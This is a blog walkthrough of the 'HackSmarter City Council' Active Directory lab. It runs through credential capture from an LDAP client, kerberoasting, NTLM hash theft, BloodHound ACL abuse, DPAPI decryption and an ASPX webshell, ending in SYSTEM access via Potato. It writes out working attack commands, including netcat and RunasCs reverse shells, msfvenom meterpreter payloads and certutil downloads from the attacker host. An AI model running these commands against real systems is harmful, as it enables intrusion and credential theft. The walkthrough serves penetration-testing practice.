Post

HackSmarter City Council Walkthrough

HackSmarter City Council Walkthrough

image

Objective / Scope :

A local municipality recently survived a devastating ransomware campaign. While their internal IT team believes the infection has been purged and the holes plugged, the Board of Supervisors isn’t taking any chances. They’ve brought in Hack Smarter to provide a “second pair of eyes.”

Your mission is to perform a comprehensive penetration test of the internal infrastructure. Reaching Domain Admin isn’t the endgame; treat this like a real engagement. See how many vulnerabilities you’re able to identify.

Solution :

We first start by scanning the target :

image

Looking at the Open ports we can already confirm this is a domain controller (Port 88 for kerberos , ldap and dns present as well) , since this is an AD machine i always like to keep this quick checklist in mind when doing it .

1
2
3
4
5
6
7
8
9
10
11
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now before we start let’s make sure we add the Domain name as well as the Hostname for the machine to our /etc/hosts file , we can use nxc to make life easier .

image

Now that everything is set , the first thing i like to try is ASREPROASTING , for this we need a list of valid usernames on the domain , let’s first enumerate the services anonymously to check if we can get a list of users .

image

This didn’t return anything useful , i tried enumerating RPC as well as ldap but that didn’t work either .

image

Now we can move to enumerating the web application , maybe it contains a list of users that we can use (An About us page or something that contains names) .

image

We do find some names , we can use a tool like username anarchy or any other tool that will generate a list of combinations using these names and we can test those names using kerbrute to find valid users .

1
2
wget https://raw.githubusercontent.com/mohinparamasivam/AD-Username-Generator/refs/heads/master/username-generate.py
python3 username-generator.py -u username.txt -o genrated_username.txt 

image

Now let’s validate these users :

image

Now that we have a list of valid users let’s test for ASREPROASTING :

image

Sadly this didn’t work either .

Let’s go back and enumerate the application further .

image

We did find this endpoint which shows us some binaries we can download for the application to test it , we will download the linux version to analyze it further , maybe reverse engineer it using ghidra will give us some creds , you never know .

image

Once we download it and run it , we find that on all the features that exist , we can submit an application , if we click on it we can see in the log section that the application makes a connection to the DC that we specified or needs to be specified and connects to it via LDAP.

image

Now few thing to note here , First it uses LDAP not LDAPS , so credentials might be transmitted in plain text , second thing we see from the documentation that we’re supposed to give it a DC to connect to :

image

Now one thing we can try is to setup a listener on port 389 which is the port for LDAP and put our own IP address as the DC IP in the hostfile this way we can trick the app into connecting to us , that way we can retrieve the creds for the user svc_service .

image

And now if we submit an application like we normally do :

image

We get the password for the service account : svc_service !

“-u ‘svc_services_portal’ -p ‘PortAl1337’”

Now we can test these creds to see if they are valid , if they are then first thing i like to do is to get a list of all the users on the domain , then check ASREPROASTING again and Kerberoasting since we have valid creds.

image

Perfect as we can see we found many users that weren’t in the website as well as some service accounts . Now let’s check for Kerberoasting and ASREPROASTING :

(Also make sure you change the IP on the /etc/hosts file to the target IP)

image

ASREPROASTING didn’t work since no user has UF_DONT_REQUIRE_PREAUTH but we do get a TGS for the clerk.john user that we can try to crack using Hashcat or john .

” -u ‘clerk.john’ -p ‘clerkhill’ “

image

Perfect we find that clerk has WRITE permissions over a specific Share . Always, if we have Write access to a share, think about uploading an .lnk file that will connect back to our machine so that we can steal a hash. If we see that there is a web server that hosts files from that share, we can always try and upload an ASPX reverse shell or just a webshell (depends on the technology used, but since it’s Windows it’s most probably going to be ASP or ASPX). After that, we can execute it and get a shell as the web server user in some cases.

Now either we can use NTLMtheaft , generate the file then upload it on the share and setup responder and wait , or we can use nxc module slinky which will generate the share and upload it for us .

1
2
3
4
https://github.com/Greenwolf/ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py --generate modern --server tun0 --filename "Please_Clickit"     

If none of them work i will try a recent CVE that does basically the same thing .

1
https://github.com/helidem/CVE-2025-24054_CVE-2025-24071-PoC

But for now let’s first test NXC :

1
nxc smb $target -u 'clerk.john' -p 'clerkhill' -M slinky -o NAME=Final_test SERVER=10.200.62.83

image

Just like that we are able to get the NTLMV2 hash for the user Jon Peters .

image

The hash is easily crackable , now as we can see the user doesn’t have access to any new shares , can’t RDP to the machine , so our only option will be BloodHound to be able to see if he has any useful ACLs we can abuse .

Steps to setup BloodHound :

1
2
3
4
5
6
7
8
9
# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

image

Perfect our user has Generic Write over 3 users , one way to abuse this is by adding an SPN to those users and then performing a normal kerberoast attack , this is what’s called targeted kerberoasting , there is a tool that we can use for this , or we could do it manually via Bloodyad , we add the SPN and then request the ticket and crack it .

To save time i will use the tool Targeted_kerberoast that automates this process for us .

1
2
3
git clone https://github.com/ShutdownRepo/targetedKerberoast
cd targetedKerberoast
python3 targetedKerberoast.py -v -d 'city.local' -u 'jon.peters' -p '1234heresjonny' 

image

Perfect now put those Hashes in a file and crack it using John or Hashcat .

image

We got 2 new users now , Maria and Nina .

Let’s first check Maria :

image

Sadly this user has less access than the previous ones :) , BloodHound shows she has no OutBound object control , no usefuul groups so let’s move on to nina .

image

No RDP access as well , but she can Read the Backup Share . (Bloodhound shows she has no Outbound object control nor useful groups that we can abuse)

Lets check this Backup Share .

image

We find that there are WMI files , which are Userprofile backups . Let’s explore this user’s profile .

image

Openning the Sam WMI file , we don’t find anything useful , a message in the desktop about access but nothing useful .

image

In clerk.john’s profile we find an interesting email from Emma, where she asks him to temporarily use her credentials and store them in Windows Credential Manager, which uses DPAPI to encrypt them. DPAPI credentials can be decrypted if we have the user’s password and their SID, which we already have . The password was previously cracked as clerkhill.

Now there is a tool from impacket specially for decrypting DPAPI secrets “impacket-dpapi” we first extract the master key, then use it to decrypt the credential blob, which will get us Emma’s plaintext credentials stored by clerk.john.

Quick Explanation :

When you save something in Credential Manager, Windows doesn’t store it in plaintext , it encrypts it using DPAPI. The encrypted blob gets saved as a file in: AppData/Roaming/Microsoft/Credentials/

But DPAPI encryption is tied to the user’s password This is the key weakness , DPAPI uses the user’s own password as part of the encryption. So if you know the user’s password, you can decrypt anything they encrypted.

The Master Key is what comes in between you could say : DPAPI doesn’t directly use the password to encrypt , it uses a Master Key, which itself is encrypted with the user’s password. So the chain is: Password + SID → decrypt Master Key Master Key → decrypt the credential blob Credential blob → Emma’s plaintext password

==> Now First thing first wen should extract the Profile locally , we can use a tool called wmiexract :

1
wimextract clerk.john_ProfileBackup_0729.wim 1 --dest-dir=/home/kali/HackSmarter/City_CounCIL/clerk_profile

image

Now we can open it locally and navigate it normally :

image

We find the DPAPI credential blob — 03128079C6E14F37F5AEBDD69E344291.

It’s a binary encrypted file that contains Emma’s credentials that clerk.john saved into Windows Credential Manager. It’s completely unreadable as-is , just encrypted bytes , which is why we need the master key to decrypt it.

Now let’s go grab the Master key located usually here : AppData/Roaming/Microsoft/Protect/SID

image

The master key file is de222e76-cb5d-418f-a1c2-7e4e9dfe29e1. We decrypt it using clerk.john’s SID and cracked password:

1
impacket-dpapi masterkey -file /home/kali/HackSmarter/City_CounCIL/clerk_profile/AppData/Roaming/Microsoft/Protect/S-1-5-21-407732331-1521580060-1819249925-1103/de222e76-cb5d-418f-a1c2-7e4e9dfe29e1 -sid S-1-5-21-407732331-1521580060-1819249925-1103 -password clerkhill 

image

Now that we got the master key , let’s decrypt the Credentials .

1
impacket-dpapi credential -file /home/kali/HackSmarter/City_CounCIL/clerk_profile/AppData/Roaming/Microsoft/Credentials/03128079C6E14F37F5AEBDD69E344291 -key 0xedfc873c4b843cb27b48cb55d829bc24c8d2be3fd50ce2aa7ba72b8da6ec65afd41412dfecd16f38a120cadf4089dabb9a1817874e37bbf0d6861117a39dfbbd

image

Perfect we got the password for emma :

1
2
Username    : city.local\emma.hayes
Unknown     : !Gemma4James!

image

Let’s go back to Bloodhound to see what privileges emma has .

image

Ah she has Generic write over Web Admin , another Targeted Kerberoast angle :)

1
python3 targetedKerberoast.py -v -d 'city.local' -u 'emma.hayes' -p '!Gemma4James!' 

image

Now let’s try to crack it :

image

Sadly we can’t crack the Hash .

We see another user that we have Write DACL over which is SAM.BROK , he is the only one we will be interested in as he’s a member of the Remote management group :

image

Now let’s give ourselves Generic All over this user and change his password to login .

1
2
bloodyad --host DC.domain.local -d 'city.local' -u 'emma.hayes' -p '!Gemma4James!' add genericAll 'SAM.BROOKS' 'emma.hayes'
bloodyad --host DC.domain.local -d 'city.local' -u 'emma.hayes' -p '!Gemma4James!' add genericAll 'SAM.BROOKS' 'emma.hayes' set password 'SAM.BROOKS' 'WEAK123.' 

image

Bad news , the account is disabled -_- , let’s use Bloodyad to enable it .

1
bloodyad --host $target -d 'city.local' -u 'emma.hayes' -p '!Gemma4James!' remove uac 'sam.brooks' -f ACCOUNTDISABLE

image

Perfect , now we can login as that user , and get our user flag .

image

I tried importing Winpeas , but couldn’t find vectors for privesc , it has to be through the Web Admin user since we got a hint earlier from the user’s profile .

Now we have Write DACL over the City OPS OU , which contains these users :

image

The fact that we have generic write over Web Admin will allow us to move it to any OU , we will move him to the CityOps where we have Write DACL that way we can give ourselves Generic All over him and change his password instead of trying to crack the Hash.

Now first let’s give ourselves Generic All over the City Ops OU . since this is not just a user , i will use dacledit rather than bloodyad :

1
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'emma.hayes' -target-dn 'OU=CITYOPS,DC=CITY,DC=LOCAL' 'city.local'/'emma.hayes':'!Gemma4James!'

image

Perfect now we need to move the Web admin from OU=QUARANTINE to OU=CITYOPS , to do this we first need a LDIF File :

An LDIF (LDAP Data Interchange Format) file is a standard, plain text file format used to describe directory entries or represent a set of directory modification requests (such as adds, deletes, and moves) for execution on an LDAP-compliant server.

Here is the content of the LDIF File :

1
2
3
4
5
dn: CN=WEB ADMIN,OU=QUARANTINE,DC=CITY,DC=LOCAL
changetype: modrdn
newrdn: CN=WEB ADMIN
deleteoldrdn: 1
newsuperior: OU=CITYOPS,DC=city,DC=local

Once we write the file we can use a tool called ldapmodify that will apply these changes .

image

Perfect , now all we have to do is to change the WEB_ADMIN password , i already gave our user Generic all over the entire OU , so by default we have generic all over WEB_Admin since he is now part of it .

image

Perfect , we have control over the WEB_ADMIN now , we can’t Winrm but we already have a shell with MARK , we can use Runas to execute a shell as the WEB_ADMIN user .

1
https://github.com/antonioCoco/RunasCs/releases/tag/v1.5

Now we just import it to our Winrm Shell , it should be pretty easy since we’re using evil winrm , just use the Upload functionality .

Now we can launch a new command line using the Runas Tool , for this we will need to set up our listener first :

1
2
3
4
5
# On our kali :
nc -lnvp 1212

# On Winrm :
.\RunasCs.exe "WEB_ADMIN" "Weak123." cmd.exe -r OUR_IP:1212

image

Perfect , we get a shell as the WEB_ADMIN , we have full control over the Web app which means we can upload a Web shell directly and interact with it , and it will run commands with the web app permissions .

This is a usual directory for Web app running on Windows : C:\inetpub\wwwroot\uploads

Now a simple aspx Web Shell will do just fine .

1
wget https://raw.githubusercontent.com/grCod/webshells/refs/heads/master/webshells/shell.aspx

image

Now we just move it to this directory : C:\inetpub\wwwroot\uploads Or cd into that directory , use certutil to Download it .

1
2
3
4
5
6
# On our Kali
wget https://raw.githubusercontent.com/grCod/webshells/refs/heads/master/webshells/shell.aspx
python3 -m http.server 80

# On the Windows machine : 
certutil.exe -urlcache -split -f http://10.200.62.83/shell.aspx 

image

I tried Uploading multiple web shells finally this is the one that worked :

1
2
3
4
5
6
# On our Kali
wget https://raw.githubusercontent.com/tennc/webshell/refs/heads/master/fuzzdb-webshell/asp/cmd.aspx
python3 -m http.server 80

# On the Windows machine : 
certutil.exe -urlcache -split -f http://10.200.62.83/shell.aspx 

image

Now if we visit /uploads/cmd.aspx we should get our web shell .

image

Now to turn it into a reverse shell , i generated this executable with msfvenom , then setup a listener for it using metasploit mutli handler :

1
2
3
4
5
6
7
8
9
10
11
12
13
# Generate the payload : 
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.200.62.83 LPORT=4444 -f exe -o reverse.exe

# To set up our listener : 

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > run

Now just like before we host a python server and use certutil to transfer the payload :

image

Now we just need to run the payload from our webshell .

image

Now we execute it :

image

It hangs so this is a good sign , if we go back to our metasploit listner :

image

We see that we got our Reverse Shell , now Most web app already have SE impersonate enabled so the privesc is pretty easy from there , we just use one of the Potato attacks and get our shell as system .

Now in my case i will make my life easier and use Meterpreter to privesc , but you could do it manually , just transfer the potato exe and run it and you should get System .

Here is a step by step guide from my methodology :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
If we have this we can try all Potato attacks and see which one works . 

# https://github.com/BeichenDream/GodPotato/releases/tag/V1.20

.\Godpotato-NET4.exe -cmd "cmd.exe" : Run this on the windows machine . 
Or
.\Godpotato-NET4.exe -cmd "powershell.exe -e ENCODED REVERSE SHELL BACK TO US"
nc -lnvp Port : to catch the Shell as System . 

# https://github.com/CCob/SweetPotato/blob/master/PrintSpoofer.cs

echo 'C:\windows\temp\nc.exe -e cmd.exe KALIIP PORT' > rev.bat 

.\SweetPotato.exe -p rev.bat .

# https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0

.\PrintSpoofer64.exe -i -c cmd : Run this on the Windows machine . 

# https://github.com/ohpe/juicy-potato/releases/tag/v0.1 : DOC in Github . 

.\juicypotato.exe -l 3375 -t * -p " C:\windows\temp\nc.exe -e cmd.exe KALIIP PORT "

====> Another way : 

echo 'C:\windows\temp\nc.exe -e cmd.exe KALIIP PORT' > rev.bat 

.\juicypotato.exe -l 3375 -t * -p rev.bat .

image

From there we can get our Root flag from the administrator Desktop .

image

That was all for this lab , pretty long tbf but very enjoyable , See you in the next one :)

This post is licensed under CC BY 4.0 by the author.